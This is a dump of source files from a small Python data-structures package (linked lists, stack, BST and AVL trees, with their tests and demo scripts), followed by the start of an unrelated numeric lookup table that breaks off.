def insert_tail(self, node: SNode):
pass
def insert(self, node: SNode, position: int):
pass
def sorted_insert(self, node: SNode):
pass
def sort(self):
pass
def delete_tail(self):
pass
def delete(self, node: SNode):
pass
def clear(self):
pass
def search(self, node: SNode):
pass
# Helper function to check if the stack is empty
def is_empty(self):
return self.head is None
# Override Print method to display stack-specific information
def Print(self):
print(f"Stack size: {self.size}")
print("Stack content:")
current = self.head
while current is not None:
if current == self.head:
print(f"{current.data} (top) ->", end=" ")
elif current == self.tail:
print(f"{current.data} (bottom) ->", end=" ")
else:
print(f"{current.data} ->", end=" ")
current = current.next
print("End of stack")
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/linear/stack_ll.py
|
stack_ll.py
|
from nodes.d_node import DNode
class DoublyLinkedList:
def __init__(self, head=None):
self.head = head
self.tail = head if head else None
self.size = 1 if head else 0
def insert_head(self, node: DNode):
if self.head is None:
self.head = node
self.tail = node
else:
node.next = self.head
self.head.prev = node
self.head = node
self.size += 1
def insert_tail(self, node: DNode):
if self.head is None:
self.head = node
self.tail = node
else:
self.tail.next = node
node.prev = self.tail
self.tail = node
self.size += 1
def insert(self, node: DNode, position: int):
if position <= 0:
self.insert_head(node)
return
if position >= self.size:
self.insert_tail(node)
return
current = self.head
count = 0
while count < position and current:
current = current.next
count += 1
node.prev = current.prev
node.next = current
current.prev.next = node
current.prev = node
self.size += 1
def is_sorted(self):
current = self.head
while current and current.next:
if current.data > current.next.data:
return False
current = current.next
return True
def sort(self):
if self.head is None or self.head.next is None:
return
sorted_list = DoublyLinkedList()
current = self.head
while current:
next_node = current.next
current.next = None
current.prev = None
sorted_list.sorted_insert(current)
current = next_node
self.head = sorted_list.head
self.tail = sorted_list.tail
def sorted_insert(self, node):
if self.head is None:
self.head = node
self.tail = node
return
if not self.is_sorted():
self.sort()
current = self.head
while current:
if current.data > node.data:
if current.prev is not None:
current.prev.next = node
node.prev = current.prev
else:
self.head = node
node.next = current
current.prev = node
break
if current.next is None:
current.next = node
node.prev = current
self.tail = node
break
current = current.next
def delete_head(self):
if self.head is None:
return None
deleted_node = self.head
self.head = self.head.next
if self.head is not None:
self.head.prev = None
else:
self.tail = None
self.size -= 1
return deleted_node
def delete_tail(self):
if self.tail is None:
return None
deleted_node = self.tail
self.tail = self.tail.prev
if self.tail is not None:
self.tail.next = None
else:
self.head = None
self.size -= 1
return deleted_node
def delete(self, node: DNode):
if self.head is None:
return None
if self.head.data == node.data:
return self.delete_head()
current = self.head
while current.next is not None:
if current.next.data == node.data:
deleted_node = current.next
if current.next.next is not None:
current.next.next.prev = current
else:
self.tail = current
current.next = current.next.next
self.size -= 1
return deleted_node
current = current.next
return None
def search(self, node: DNode):
current = self.head
while current:
if current.data == node.data:
return current # Return the node object
current = current.next
return None # Node not found
def clear(self):
self.head = None
self.tail = None
self.size = 0
def Print(self):
print(f"List length: {self.size}")
print("List Sorted:", self.is_sorted())
print("List content:")
current = self.head
while current is not None:
if current == self.head:
print(f"{current.data} (head) <->", end=" ")
elif current == self.tail:
print(f"{current.data} (tail)")
else:
print(f"{current.data} <->", end=" ")
current = current.next
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/linear/dll.py
|
dll.py
|
from nodes.s_node import SNode
'''
class CircularSinglyLinkedList:
def __init__(self, head=None):
self.head = head
self.tail = head
self.size = 1 if head else 0
if head:
self.tail.next = self.head
def insert_head(self, node):
if not self.head:
self.head = node
self.tail = node
self.tail.next = self.head
else:
node.next = self.head
self.head = node
self.tail.next = self.head
self.size += 1
def insert_tail(self, node):
if not self.head:
self.insert_head(node)
else:
self.tail.next = node
self.tail = node
self.tail.next = self.head
self.size += 1
def insert(self, node, position):
if position <= 0 or not self.head:
self.insert_head(node)
elif position >= self.size:
self.insert_tail(node)
else:
current = self.head
for _ in range(position - 1):
current = current.next
node.next = current.next
current.next = node
self.size += 1
def delete_head(self):
if not self.head:
return
elif self.size == 1:
self.head = None
self.tail = None
else:
self.head = self.head.next
self.tail.next = self.head
self.size -= 1
def delete_tail(self):
if not self.head:
return
elif self.size == 1:
self.head = None
self.tail = None
else:
current = self.head
while current.next != self.tail:
current = current.next
current.next = self.head
self.tail = current
self.size -= 1
def delete(self, node):
if not self.head:
return
elif self.head.data == node.data:
self.delete_head()
elif self.tail.data == node.data:
self.delete_tail()
else:
current = self.head
while current.next and current.next.data != node.data:
current = current.next
if current.next:
current.next = current.next.next
self.size -= 1
def sorted_insert(self, node):
if not self.is_sorted():
self.sort()
if not self.head or self.head.data >= node.data:
self.insert_head(node)
else:
current = self.head
while current.next != self.head and current.next.data < node.data:
current = current.next
node.next = current.next
current.next = node
if current == self.tail:
self.tail = node
self.size += 1
def is_sorted(self):
current = self.head
for _ in range(self.size - 1):
if current.data > current.next.data:
return False
current = current.next
return True
def sort(self):
if self.size > 1:
current = self.head
while current.next != self.head:
next_node = current.next
while next_node != self.head:
if current.data > next_node.data:
current.data, next_node.data = next_node.data, current.data
next_node = next_node.next
current = current.next
def search(self, node):
current = self.head
for _ in range(self.size):
if current.data == node.data:
return current
current = current.next
return None
def clear(self):
self.head = None
self.tail = None
self.size = 0
def Print(self):
if not self.head:
print("Empty list")
return
current = self.head
print("Sorted: ", self.is_sorted)
print("List content:")
for _ in range(self.size):
print(f"{current.data}", end=" -> ")
current = current.next
print("head")
print(f"List length: {self.size}")
'''
from nodes import SNode
from . import SinglyLL
class CircularSinglyLinkedList(SinglyLL):
def __init__(self, head=None):
super().__init__(head)
if self.head is not None:
self.tail.next = self.head # Update tail.next to point to head
def insert_head(self, node: SNode):
super().insert_head(node)
self.tail.next = self.head # Update tail.next to point to head
def insert_tail(self, node: SNode):
super().insert_tail(node)
self.tail.next = self.head # Update tail.next to point to head
def delete_head(self):
if self.head is None:
return None # List is already empty
deleted_node = self.head
if self.head.next is None:
self.head = None
self.tail = None
else:
self.head = self.head.next
self.tail.next = self.head
self.size -= 1
return deleted_node
def delete_tail(self):
if self.head is None:
return None # List is already empty
if self.head.next is None:
deleted_node = self.head
self.head = None
self.tail = None
self.size = 0
return deleted_node
current = self.head
prev = None
while current.next != self.head:
prev = current
current = current.next
deleted_node = current
prev.next = self.head
self.tail = prev
self.size -= 1
return deleted_node
def clear(self):
super().clear()
if self.tail is not None:
self.tail.next = None # Break the circular connection
def delete(self, node: SNode):
if self.head is None:
print("List is empty")
return None
if self.head.data == node.data:
return self.delete_head()
elif self.tail.data == node.data:
return self.delete_tail()
current = self.head
prev = None
while current.next != self.head:
if current.next.data == node.data:
deleted_node = current.next
current.next = current.next.next
self.size -= 1
return deleted_node
prev = current
current = current.next
print("Node not found in list")
return None
def sort(self):
if self.head is None or self.head.next is None:
return
sorted_list = None
tail = None
current = self.head
while current:
next_node = current.next
if sorted_list is None or sorted_list.data > current.data:
current.next = sorted_list
sorted_list = current
if tail is None:
tail = current
else:
runner = sorted_list
while (runner.next != sorted_list) and (runner.next.data < current.data):
runner = runner.next
current.next = runner.next
runner.next = current
if runner.next.next is None:
tail = current
current = next_node
if current == self.head: # Break the loop when the original head is reached
break
self.head = sorted_list
self.tail = tail
self.tail.next = self.head
def sorted_insert(self, node: SNode):
if self.head is None:
self.head = node
self.tail = node
node.next = self.head
elif node.data < self.head.data:
node.next = self.head
self.head = node
self.tail.next = self.head
else:
current = self.head
while current.next != self.head and current.next.data < node.data:
current = current.next
node.next = current.next
current.next = node
if node.next == self.head:
self.tail = node
self.size += 1
def is_sorted(self):
# If the list is empty or has only one element, it is considered sorted
if not self.head or not self.head.next:
return True
# Call the parent class's is_sorted() method
sorted_status = super().is_sorted()
# Check if the tail data is less than the head data, which indicates a circular break
if sorted_status and self.tail.data > self.head.data:
return False
return sorted_status
def Print(self):
if self.head is None:
print("List is empty")
return
print(f"List length: {self.size}")
print("Sorted status:", "Sorted" if self.is_sorted() else "Not sorted")
print("List content:")
current = self.head
count = 0
while current is not None and count < self.size:
if current == self.head:
print(f"{current.data} (head) ->", end=" ")
elif current != self.tail:
print(f"{current.data} ->", end=" ")
else:
print(f"{current.data} (tail)", end=" ")
current = current.next
count += 1
print("-> (head)")
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/linear/csll.py
|
csll.py
|
from nodes.d_node import DNode
from linear import DoublyLinkedList
class CircularDoublyLinkedList(DoublyLinkedList):
def __init__(self, head=None):
super().__init__(head)
if head:
self.head.prev = self.tail
self.tail.next = self.head
def is_sorted(self):
if self.size < 2:
return True
current = self.head
while current.next != self.head:
if current.data > current.next.data:
return False
current = current.next
return True
def sort(self):
if self.size < 2:
return
sorted_head = self.head
unsorted_head = self.head.next
sorted_head.next = sorted_head.prev = None
sorted_size = 1
while sorted_size < self.size:
current = unsorted_head
unsorted_head = unsorted_head.next
current.next = current.prev = None
if current.data <= sorted_head.data:
current.next = sorted_head
sorted_head.prev = current
sorted_head = current
else:
sorted_tail = sorted_head
while sorted_tail.next and sorted_tail.next.data < current.data:
sorted_tail = sorted_tail.next
if sorted_tail.next:
current.next = sorted_tail.next
sorted_tail.next.prev = current
else:
current.next = None
current.prev = sorted_tail
sorted_tail.next = current
sorted_size += 1
self.head = sorted_head
self.tail = self.head
while self.tail.next:
self.tail = self.tail.next
# Update circular links
self.head.prev = self.tail
self.tail.next = self.head
def sorted_insert(self, node):
if self.head is None:
self.head = node
self.tail = node
node.prev = node
node.next = node
self.size += 1
return
if not self.is_sorted():
self.sort()
current = self.head
for _ in range(self.size):
if current.data >= node.data:
if current.prev is not None:
current.prev.next = node
node.prev = current.prev
else:
self.head = node
node.next = current
current.prev = node
self.size += 1
break
if current.next == self.head:
current.next = node
node.prev = current
self.tail = node
self.size += 1
break
current = current.next
# Update the circular links
self.head.prev = self.tail
self.tail.next = self.head
def search(self, node: DNode):
current = self.head
while current:
if current.data == node.data:
return current # Return the node object
current = current.next
if current == self.head:
break
return None # Node not found
def insert_head(self, node: DNode):
super().insert_head(node)
self.head.prev = self.tail
self.tail.next = self.head
def insert_tail(self, node: DNode):
super().insert_tail(node)
self.head.prev = self.tail
self.tail.next = self.head
def insert(self, node: DNode, position: int):
super().insert(node, position)
self.head.prev = self.tail
self.tail.next = self.head
def delete_head(self):
deleted_node = super().delete_head()
if self.head:
self.head.prev = self.tail
self.tail.next = self.head
return deleted_node
def delete_tail(self):
deleted_node = super().delete_tail()
if self.tail:
self.head.prev = self.tail
self.tail.next = self.head
return deleted_node
def delete(self, node: DNode):
deleted_node = super().delete(node)
if self.head and self.tail:
self.head.prev = self.tail
self.tail.next = self.head
return deleted_node
def clear(self):
super().clear()
self.head = None
self.tail = None
def Print(self):
print(f"List length: {self.size}")
print("List content:")
#print("Is sorted", self.is_sorted())
current = self.head
for _ in range(self.size):
if current == self.head:
print(f"{current.data} (head) <->", end=" ")
elif current == self.tail:
print(f"{current.data} (tail)")
else:
print(f"{current.data} <->", end=" ")
current = current.next
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/linear/cdll.py
|
cdll.py
|
from .sll import SinglyLL
from .dll import DoublyLinkedList
from .csll import CircularSinglyLinkedList
from .cdll import CircularDoublyLinkedList
from .stack_ll import LLStack
from .queue_ll import LLQueue
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/linear/__init__.py
|
__init__.py
|
class SNode:
def __init__(self, data=None, next=None):
self.data = data
self.next = next
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/nodes/s_node.py
|
s_node.py
|
class TNode:
def __init__(self, data=0, balance=0, parent=None, left=None, right=None):
self.data = data
self.balance = balance
self.left = left
self.right = right
self.parent = parent
def set_data(self, data):
self.data = data
def get_data(self):
return self.data
def set_balance(self, balance):
self.balance = balance
def get_balance(self):
return self.balance
def set_left(self, left):
self.left = left
def get_left(self):
return self.left
def set_right(self, right):
self.right = right
def get_right(self):
return self.right
def set_parent(self, parent):
self.parent = parent
def get_parent(self):
return self.parent
def print_info(self):
print("Data:", self.data)
print("Balance:", self.balance)
print("Left Node:", self.left)
print("Right Node:", self.right)
print("Parent Node:", self.parent)
def __str__(self):
return str(self.data)
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/nodes/TNode.py
|
TNode.py
|
from .s_node import SNode
from .d_node import DNode
from .TNode import TNode
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/nodes/__init__.py
|
__init__.py
|
'''
Dnode class represents a double node in a double-linked list.
Has three attributes...
'data'
'prev'
'next'
'''
class DNode:
def __init__(self, data=None):
self.data = data
self.prev = None
self.next = None
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/nodes/d_node.py
|
d_node.py
|
import sys
sys.path.append('my_lib/dataStructures')
from trees.BST import BST
from nodes.TNode import TNode
def test_BST_constructor_none():
bst = BST()
assert bst.get_root() == None
def test_BST_constructor_data():
bst = BST(5)
assert bst.get_root().get_data() == 5
def test_BST_constructor_TNode():
test_node = TNode(24)
bst = BST(test_node)
assert bst.get_root().get_data() == 24
def test_set_root_int():
bst = BST(212)
bst.set_root(5)
assert bst.get_root().get_data() == 5
def test_set_root_TNode():
bst = BST(41)
test_node = TNode(87)
bst.set_root(test_node)
assert bst.get_root().get_data() == 87
def test_insert_int():
bst = BST(10)
bst.insert(15)
assert bst.get_root().get_right().get_data() == 15
def test_insert_TNode():
bst = BST(255)
test_node = TNode(1)
bst.insert(test_node)
assert bst.get_root().get_left().get_data() == 1
def test_delete_leaf():
bst = BST(8)
bst.insert(4)
bst.insert(14)
bst.insert(19)
bst.delete(4)
assert bst.get_root().get_left() == None
def test_delete_nonleaf():
bst = BST(8)
bst.insert(4)
bst.insert(7)
bst.insert(14)
bst.insert(19)
bst.delete(4)
assert bst.get_root().get_left().get_data() == 7
def test_search():
bst = BST(15)
bst.insert(7)
bst.insert(5)
bst.insert(23)
bst.insert(3)
bst.insert(17)
actualNode = bst.search(23)
expectedNode = TNode(23).get_data()
assert actualNode.get_data() == expectedNode
def test_wrong_search():
bst = BST(15)
bst.insert(7)
bst.insert(5)
bst.insert(23)
bst.insert(3)
bst.insert(17)
actualNode = bst.search(13)
assert actualNode == None
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/trees/test_BST.py
|
test_BST.py
|
import sys
sys.path.append('my_lib/dataStructures')
from nodes.TNode import TNode
from BST import BST
def main():
# Create a binary search tree with root node 8
bst = BST(8)
# Insert nodes with values 3, 10, 1, 6, 14, 4, and 7
bst.insert(3)
bst.insert(10)
bst.insert(1)
bst.insert(6)
bst.insert(14)
bst.insert(4)
bst.insert(7)
# Print the binary search tree in order
bst.printInOrder()
# Print the binary search tree in breadth-first order
bst.printBF()
# Delete the node with value 6 from the binary search tree
bst.delete(6)
# Print the binary search tree in order after deleting the node with value 6
bst.printInOrder()
if __name__ == '__main__':
main()
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/trees/main.py
|
main.py
|
import sys
sys.path.append('my_lib/dataStructures')
from trees.AVL import AVL
from nodes.TNode import TNode
def test_init():
avl = AVL()
assert avl.get_root() == None
def test_constructor_integer():
avl = AVL(5)
success = False
if avl.get_root().get_data() == 5:
success = True
assert success == True
def test_constructor_TNode():
test_node = TNode(12)
avl = AVL(test_node)
assert avl.get_root().get_data() == 12
def test_Insert():
avl = AVL()
avl.Insert(5)
assert avl.get_root().get_data() == 5
def test_Insert_multiple():
avl = AVL()
success = False
avl.Insert(3)
avl.Insert(7)
avl.Insert(2)
avl.Insert(4)
if(avl.get_root().get_data() == 3 and avl.get_root().get_left().get_data() == 2 and avl.get_root().get_right().get_data() == 7):
success = True
assert success == True
def test_delete_leaf_node():
avl = AVL(10)
avl.Insert(5)
avl.delete(5)
assert avl.get_root().get_left() == None
def test_delete_root():
avl = AVL(4)
avl.Insert(2)
avl.Insert(8)
avl.Insert(7)
avl.delete(4)
assert avl.get_root().get_data() == 7
def test_balancing_uneven():
test_node = TNode(10)
success = False
avl = AVL(test_node)
avl.Insert(3)
avl.Insert(14)
avl.Insert(1)
avl.printBF()
avl.printInOrder()
if(avl.get_root().get_data() == 10):
success = True
assert success == True
def test_Insert_No_Pivot():
avl = AVL(15)
avl.Insert(5)
avl.Insert(25)
avl.Insert(30)
right_root = avl.get_root().get_right()
assert right_root.get_right().get_data() == 30
def test_Insert_Pivot_Exists():
avl = AVL(31)
avl.Insert(20)
avl.Insert(40)
avl.Insert(45)
avl.printBF()
avl.Insert(15)
left_child = avl.get_root().get_left()
assert left_child.get_left().get_data() == 15
def test_Insert_outside():
avl = AVL(10)
avl.Insert(5)
avl.Insert(15)
avl.Insert(20)
avl.Insert(25)
avl.Insert(30)
avl.Insert(35)
avl.Insert(40)
avl.Insert(3)
avl.printBF()
assert avl.get_root().get_data() == 25
def test_balancing_right_uneven():
test_node = TNode(10)
success = False
avl = AVL(test_node)
avl.Insert(24)
avl.Insert(44)
avl.Insert(18)
avl.Insert(1)
avl.Insert(2)
avl.Insert(6)
avl.Insert(5)
avl.printBF()
avl.delete(24)
avl.printBF()
avl.printInOrder()
avl.delete(44)
avl.printBF()
if(avl.get_root().get_data() == 6):
success = True
assert success == True
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/trees/test_AVL.py
|
test_AVL.py
|
import sys
sys.path.append('my_lib/dataStructures')
from nodes.TNode import TNode
def test_empty_constructor():
tnode = TNode()
successData = False
successParent = False
successChildren = False
if tnode.get_data() == 0 and tnode.get_balance() == 0:
successData = True
if tnode.get_left() == None and tnode.get_right() == None:
successChildren = True
if tnode.get_parent() == None:
successParent = True
assert (successParent and successChildren and successData) == True
def test_full_constructor():
tnodeParent = TNode(9)
tnodeLeft = TNode(3)
tnodeRight = TNode(7)
tnode = TNode(5, 1, tnodeParent, tnodeLeft, tnodeRight)
success = True
if(tnode.get_data() != 5 or tnode.get_balance() != 1 or tnode.get_parent().get_data() != 9):
success = False
if(tnode.get_left().get_data() != 3 or tnode.get_right().get_data() != 7):
success = False
assert success == True
def test_set_datas():
tnode = TNode(8, 2)
tnode.set_data(3)
tnode.set_balance(0)
assert tnode.get_data() == 3 and tnode.get_balance() == 0
def test_set_nodes():
tnode = TNode(150)
tnodeP = TNode(200)
tnodeL = TNode(75)
tnodeR = TNode(175)
success = True
tnode.set_parent(tnodeP)
tnode.set_left(tnodeL)
tnode.set_right(tnodeR)
if(tnode.get_parent().get_data() != 200 or tnode.get_left().get_data() != 75 or tnode.get_right().get_data() != 175):
success = False
assert success == True
def test_string_toData():
tnode = TNode(18, -1, TNode(40), TNode(7), None)
expectedString = "18"
assert expectedString == tnode.__str__()
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/trees/test_TNode.py
|
test_TNode.py
|
from .BST import BST
from .AVL import AVL
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/trees/__init__.py
|
__init__.py
|
import sys
sys.path.append('my_lib/dataStructures')
from trees.AVL import AVL
def main():
# create an empty AVL tree
avl = AVL()
# insert some values
avl.insert(5)
avl.insert(3)
avl.insert(7)
avl.insert(2)
avl.insert(4)
avl.insert(6)
avl.insert(8)
# print the tree in order traversal
print("In-order traversal:")
avl.printInOrder()
# print the tree breadth-first traversal
print("Breadth-first traversal:")
avl.printBF()
# delete a value and print the tree again
avl.delete(5)
print("In-order traversal after deleting 5:")
avl.printInOrder()
avl.printBF()
avl.delete(3)
avl.delete(4)
avl.printInOrder()
avl.printBF()
avl.delete(6)
avl.delete(7)
avl.printInOrder()
avl.printBF()
if __name__ == '__main__':
main()
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/trees/AVL_test.py
|
AVL_test.py
|
import sys
sys.path.append('my_lib/dataStructures')
from nodes.TNode import TNode
from trees.BST import BST
class AVL:
def __init__(self, val=None):
if val is None:
self.root = None
elif isinstance(val, int):
self.root = TNode(val)
else:
self.root = val
def set_root(self, root):
self.root = root
self._balance_tree(self.root)
def get_root(self):
return self.root
def Insert(self, val):
new_node = TNode(val)
self._insert_node(new_node)
self._balance_tree(self.root)
def insert_node(self, node):
self._insert_node(node)
self._balance_tree(self.root)
def _insert_node(self, new_node):
if self.root is None:
self.root = new_node
else:
current = self.root
while True:
if new_node.get_data() < current.get_data():
if current.get_left() is None:
current.set_left(new_node)
new_node.set_parent(current)
break
else:
current = current.get_left()
elif new_node.get_data() > current.get_data():
if current.get_right() is None:
current.set_right(new_node)
new_node.set_parent(current)
break
else:
current = current.get_right()
def delete(self, val):
node = self.search(val)
if node is None:
print("Node with value", val, "not found")
return
parent = node.get_parent()
if node.get_left() is None and node.get_right() is None:
if parent is None:
self.root = None
elif node == parent.get_left():
parent.set_left(None)
else:
parent.set_right(None)
elif node.get_left() is None:
if parent is None:
self.root = node.get_right()
elif node == parent.get_left():
parent.set_left(node.get_right())
else:
parent.set_right(node.get_right())
node.get_right().set_parent(parent)
elif node.get_right() is None:
if parent is None:
self.root = node.get_left()
elif node == parent.get_left():
parent.set_left(node.get_left())
else:
parent.set_right(node.get_left())
node.get_left().set_parent(parent)
else:
min_node = self._find_min(node.get_right())
temp_data = min_node.get_data()
self.delete(temp_data)
node.set_data(temp_data)
print("ANYWAY here's wonderwal")
self.printBF()
self._balance_tree(self.root)
def search(self, val):
current = self.root
while current is not None:
if current.get_data() == val:
return current
elif val < current.get_data():
current = current.get_left()
else:
current = current.get_right()
return None
def _find_min(self, node):
while node.get_left() is not None:
node = node.get_left()
return node
def _balance_tree(self, node):
if node is None:
return
balance_factor = self._get_balance_factor(node)
# If the balance factor is greater than 1, the tree is left-heavy
if balance_factor > 1:
# Check if the left subtree is left-heavy or right-heavy
if self._get_balance_factor(node.get_left()) >= 0:
node = self._rotate_right(node)
else:
print("Before touched")
self.printBF()
if node.get_right().get_data() == 18:
self._rotate_left(node.get_left())
print("Rare 18 run-through")
self.printBF()
else:
node.set_left(self._rotate_left(node.get_left()))
print("mid touch")
self.printBF()
node = self._rotate_right(node)
# If the balance factor is less than -1, the tree is right-heavy
elif balance_factor < -1:
# Check if the right subtree is right-heavy or left-heavy
if self._get_balance_factor(node.get_right()) <= 0:
node = self._rotate_left(node)
else:
node.set_right(self._rotate_right(node.get_right()))
node = self._rotate_left(node)
if node is None:
return
self._balance_tree(node.get_left())
self._balance_tree(node.get_right())
def _rotate_left(self, node):
right_child = node.get_right()
if right_child == None:
return
right_left_child = right_child.get_left()
right_child.set_left(node)
node.set_right(right_left_child)
if right_left_child is not None:
right_left_child.set_parent(node)
right_child.set_parent(node.get_parent())
if node.get_parent() is None:
self.root = right_child
elif node == node.get_parent().get_left():
node.get_parent().set_left(right_child)
else:
node.get_parent().set_right(right_child)
node.set_parent(right_child)
def _rotate_right(self, node):
left_child = node.get_left()
if left_child == None:
return
left_right_child = left_child.get_right()
left_child.set_right(node)
node.set_left(left_right_child)
if left_right_child is not None:
left_right_child.set_parent(node)
left_child.set_parent(node.get_parent())
if node.get_parent() is None:
self.root = left_child
elif node == node.get_parent().get_left():
node.get_parent().set_left(left_child)
else:
node.get_parent().set_right(left_child)
node.set_parent(left_child)
def _get_height(self, node):
if node is None:
return 0
returnData = max(self._get_height(node.get_left()), self._get_height(node.get_right())) + 1
return returnData
def _get_balance_factor(self, node):
left_height = self._get_height(node.get_left())
right_height = self._get_height(node.get_right())
return left_height - right_height
def printInOrder(self):
if self.root is not None:
bst_print = BST(self.root)
bst_print.printInOrder()
def printBF(self):
if self.root is not None:
bst_print = BST(self.root)
bst_print.printBF()
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/trees/AVL.py
|
AVL.py
|
import sys
sys.path.append('my_lib/dataStructures')
from nodes.TNode import TNode
class BST:
def __init__(self, val= None):
if isinstance(val, int):
self.root = TNode(val)
elif isinstance(val, TNode):
self.root = val
else:
self.root = None
# Getter and setter for the root
def get_root(self):
return self.root
def set_root(self, root):
if isinstance(root, int):
self.root = TNode(root)
else:
self.root = root
# Insert a new node with the given value
def insert(self, val):
if isinstance(val, int):
new_node = TNode(val)
self.insert_node_recursive(self.root, new_node)
else:
self.insert_node_recursive(self.root, val)
# Helper method for insert
def insert_node_recursive(self, current_node, new_node):
if new_node.data < current_node.data:
if current_node.left is None:
current_node.left = new_node
new_node.parent = current_node
else:
self.insert_node_recursive(current_node.left, new_node)
else:
if current_node.right is None:
current_node.right = new_node
new_node.parent = current_node
else:
self.insert_node_recursive(current_node.right, new_node)
# Delete the node with the given value
def delete(self, val):
node_to_delete = self.search(val)
if node_to_delete is None:
print("Node not found")
return
if node_to_delete.left is None and node_to_delete.right is None:
self.delete_leaf_node(node_to_delete)
elif node_to_delete.left is None:
self.delete_node_with_right_child(node_to_delete)
elif node_to_delete.right is None:
self.delete_node_with_left_child(node_to_delete)
else:
successor = self.get_successor(node_to_delete)
node_to_delete.data = successor.data
if successor.left is None and successor.right is None:
self.delete_leaf_node(successor)
else:
self.delete_node_with_right_child(successor)
# Deletes a leaf node from tree
def delete_leaf_node(self, node):
parent = node.parent
if parent is None:
self.root = None
elif parent.left == node:
parent.left = None
else:
parent.right = None
# Deletes a node with a left child from tree
def delete_node_with_left_child(self, node):
parent = node.parent
child = node.left
child.parent = parent
if parent is None:
self.root = child
elif parent.left == node:
parent.left = child
else:
parent.right = child
# Delets a node with a right child from tree
def delete_node_with_right_child(self, node):
parent = node.parent
child = node.right
child.parent = parent
if parent is None:
self.root = child
elif parent.left == node:
parent.left = child
else:
parent.right = child
# Helper method for delete
def get_successor(self, node):
successor = node.right
while successor.left is not None:
successor = successor.left
return successor
def search(self, val):
current = self.root
while current is not None:
if current.get_data() == val:
return current
elif val < current.get_data():
current = current.get_left()
else:
current = current.get_right()
return None
def printInOrder(self):
self._printInOrder(self.root)
print("\n")
def _printInOrder(self, node):
if node is not None:
self._printInOrder(node.left)
print(node.data, end=" ")
self._printInOrder(node.right)
def _get_depth(self, node):
if node is None:
return 0
return 1 + max(self._get_depth(node.left), self._get_depth(node.right))
def printBF(self):
depth = self._get_depth(self.root)
for i in range(1, depth+1):
self._print_level(self.root, i)
print()
print()
def _print_level(self, node, level):
if node is None:
return
if level == 1:
print(node.data, end=' ')
else:
self._print_level(node.left, level-1)
self._print_level(node.right, level-1)
|
41datastructure
|
/41datastructure-1.5.tar.gz/41datastructure-1.5/my_lib/dataStructures/trees/BST.py
|
BST.py
|
"""
Global database for this project.
This database can be re-generated by command line.
"""
DATABASE_42 = {
(0, 0, 0, 6, 7): 1,
(0, 0, 1, 3, 13): 1,
(0, 0, 1, 5, 7): 1,
(0, 0, 1, 6, 6): 1,
(0, 0, 1, 6, 7): 1,
(0, 0, 1, 6, 8): 1,
(0, 0, 1, 7, 7): 1,
(0, 0, 2, 3, 7): 1,
(0, 0, 2, 3, 12): 1,
(0, 0, 2, 4, 7): 1,
(0, 0, 2, 4, 10): 1,
(0, 0, 2, 4, 11): 1,
(0, 0, 2, 5, 6): 1,
(0, 0, 2, 5, 8): 1,
(0, 0, 2, 6, 7): 1,
(0, 0, 2, 6, 9): 1,
(0, 0, 2, 7, 8): 1,
(0, 0, 2, 7, 12): 1,
(0, 0, 2, 8, 13): 1,
(0, 0, 2, 9, 12): 1,
(0, 0, 2, 10, 11): 1,
(0, 0, 3, 3, 7): 1,
(0, 0, 3, 3, 11): 1,
(0, 0, 3, 3, 13): 1,
(0, 0, 3, 4, 6): 1,
(0, 0, 3, 4, 10): 1,
(0, 0, 3, 5, 9): 2,
(0, 0, 3, 6, 7): 1,
(0, 0, 3, 6, 8): 1,
(0, 0, 3, 6, 10): 1,
(0, 0, 3, 6, 12): 1,
(0, 0, 3, 7, 7): 1,
(0, 0, 3, 7, 9): 1,
(0, 0, 3, 9, 11): 1,
(0, 0, 3, 10, 12): 1,
(0, 0, 4, 6, 7): 1,
(0, 0, 4, 6, 9): 1,
(0, 0, 4, 6, 11): 1,
(0, 0, 4, 6, 12): 1,
(0, 0, 4, 7, 10): 1,
(0, 0, 4, 8, 10): 1,
(0, 0, 4, 10, 13): 1,
(0, 0, 5, 6, 7): 1,
(0, 0, 5, 6, 12): 2,
(0, 0, 5, 7, 7): 1,
(0, 0, 5, 7, 11): 1,
(0, 0, 5, 8, 10): 1,
(0, 0, 5, 11, 13): 1,
(0, 0, 6, 6, 6): 1,
(0, 0, 6, 6, 7): 1,
(0, 0, 6, 6, 8): 1,
(0, 0, 6, 6, 13): 1,
(0, 0, 6, 7, 7): 1,
(0, 0, 6, 7, 8): 1,
(0, 0, 6, 7, 9): 1,
(0, 0, 6, 7, 10): 1,
(0, 0, 6, 7, 11): 1,
(0, 0, 6, 7, 12): 2,
(0, 0, 6, 7, 13): 1,
(0, 0, 6, 9, 12): 1,
(0, 0, 7, 7, 7): 1,
(0, 0, 7, 7, 13): 1,
(0, 1, 1, 2, 13): 1,
(0, 1, 1, 3, 7): 1,
(0, 1, 1, 3, 12): 1,
(0, 1, 1, 3, 13): 1,
(0, 1, 1, 4, 7): 1,
(0, 1, 1, 4, 10): 1,
(0, 1, 1, 4, 11): 1,
(0, 1, 1, 4, 13): 1,
(0, 1, 1, 5, 6): 2,
(0, 1, 1, 5, 7): 1,
(0, 1, 1, 5, 8): 2,
(0, 1, 1, 6, 6): 1,
(0, 1, 1, 6, 7): 2,
(0, 1, 1, 6, 8): 1,
(0, 1, 1, 6, 9): 1,
(0, 1, 1, 7, 7): 1,
(0, 1, 1, 7, 8): 2,
